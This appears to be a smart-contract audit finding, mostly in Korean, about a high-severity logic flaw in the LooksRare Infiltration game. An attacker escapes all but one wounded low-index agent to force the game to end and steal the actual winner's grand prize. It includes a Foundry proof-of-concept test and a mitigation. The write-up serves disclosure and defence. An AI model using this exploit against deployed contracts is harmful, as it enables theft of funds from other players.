sherlock-2023-10-looksrare-h03
[H-03] Attacker can steal reward of actual winner by force ending the game
Summary
악의적인 사용자가 부상당한 에이전트 한 명을 제외한 모든 에이전트를 탈출시켜, 다른 Active 에이전트가 있음에도 게임에서 강제로 승리하고 리워드를 훔칠 수 있다.
Keyword
theft, logic flaw, gamefi
Vulnerability
다음과 같은 시나리오가 가능하다.
- 공격자가
agents에서 인덱스가 낮은 에이전트와 높은 에이전트를 소유하고 있다. - 공격자 에이전트 사이에 인덱스가 있는 에이전트를 소유한 일반 유저가 있다.
- 인덱스가 낮은 공격자 에이전트가 부상을 입으면, 다른 모든 에이전트를 탈출시키고 즉시 게임에서 승리할 수 있다. (다른 유저가 아직 한 명의 활성 상태의 에이전트를 보유하고 있음에도)
예를 들어 공격자가 60명의 에이전트를 소유하고 일반 유저가 1명의 에이전트를 소유하는 상황을 생각해보자. 공격자의 에이전트 중 하나가 부상을 입었을 때, 나머지 에이전트를 전부 탈출시킨다. Active 상태의 에이전트는 1명만 남으며, 이는 일반 유저의 소유이다. 하지만 더 앞쪽 인덱스에 있던 부상당한 에이전트가 1번 인덱스로 스왑되므로, 1위로 판정된다.
다음은 PoC 코드이다. Infiltration.mint.t.sol 에 추가하면 된다.
function test_forceWin() public {
address attacker = address(1337);
//prefund attacker and user1
vm.deal(user1, PRICE * MAX_MINT_PER_ADDRESS);
vm.deal(attacker, PRICE * MAX_MINT_PER_ADDRESS);
// MINT some agents
vm.warp(_mintStart());
// attacker wants to make sure he owns a bunch of agents with low IDs!!
vm.prank(attacker);
infiltration.mint{value: PRICE * 30}({quantity: 30});
// For simplicity we mint only 1 agent to user 1 here, but it could be more, they could get wounded, etc.
vm.prank(user1);
infiltration.mint{value: PRICE *1}({quantity: 1});
//Attacker also wants a bunch of agents with the highest IDs, as they are getting swapped with the killed agents (move forward)
vm.prank(attacker);
infiltration.mint{value: PRICE * 30}({quantity: 30});
vm.warp(_mintEnd());
//start the game
vm.prank(owner);
infiltration.startGame();
vm.prank(VRF_COORDINATOR);
uint256[] memory randomWords = new uint256[](1);
randomWords[0] = 69_420;
VRFConsumerBaseV2(address(infiltration)).rawFulfillRandomWords(_computeVrfRequestId(1), randomWords);
// Now we are in round 2 we do have 1 wounded agent (but we can imagine any of our agent got wounded, doesn´t really matter)
// we know with our HARDCODED RANDOMNESS THAT AGENT 3 gets wounded!!
// Whenever we get in a situation, that we own all active agents, but 1 and our agent has a lower index we can instant win the game!!
// This is done by escaping all agents, at once, except the lowest index
uint256[] memory escapeIds = new uint256[](59);
escapeIds[0] = 1;
escapeIds[1] = 2;
uint256 i = 4; //Scipping our wounded AGENT 3
for(; i < 31;) {
escapeIds[i-2] = i;
unchecked {++i;}
}
//skipping 31 as this owned by user1
unchecked {++i;}
for(; i < 62;) {
escapeIds[i-3] = i;
unchecked {++i;}
}
vm.prank(attacker);
infiltration.escape(escapeIds);
(uint16 activeAgents, uint16 woundedAgents, , uint16 deadAgents, , , , , , , ) = infiltration.gameInfo();
console.log("Active", activeAgents);
assertEq(activeAgents, 1);
// This will end the game instantly.
//owner should not be able to start new round
vm.roll(block.number + BLOCKS_PER_ROUND);
vm.prank(owner);
vm.expectRevert();
infiltration.startNewRound();
//Okay so the game is over, makes sense!
// Now user1 has the only active AGENT, so he should claim the grand prize!
// BUT user1 cannot
vm.expectRevert(IInfiltration.NotAgentOwner.selector);
vm.prank(user1);
infiltration.claimGrandPrize();
//instead the attacker can:
vm.prank(attacker);
infiltration.claimGrandPrize();
} Impact
공격자가 게임을 강제로 종료하여 실제 승자의 상금을 훔칠 수 있다.
Mitigation
게임이 종료되기 전에 새 라운드를 시작하여 부상당한 요원을 모두 사망처리 하고 agents 배열을 업데이트 한다.
tags: bughunting, looksrare, smart contract, solidity, gamefi, nft, crypto theft, logic flaw, severity high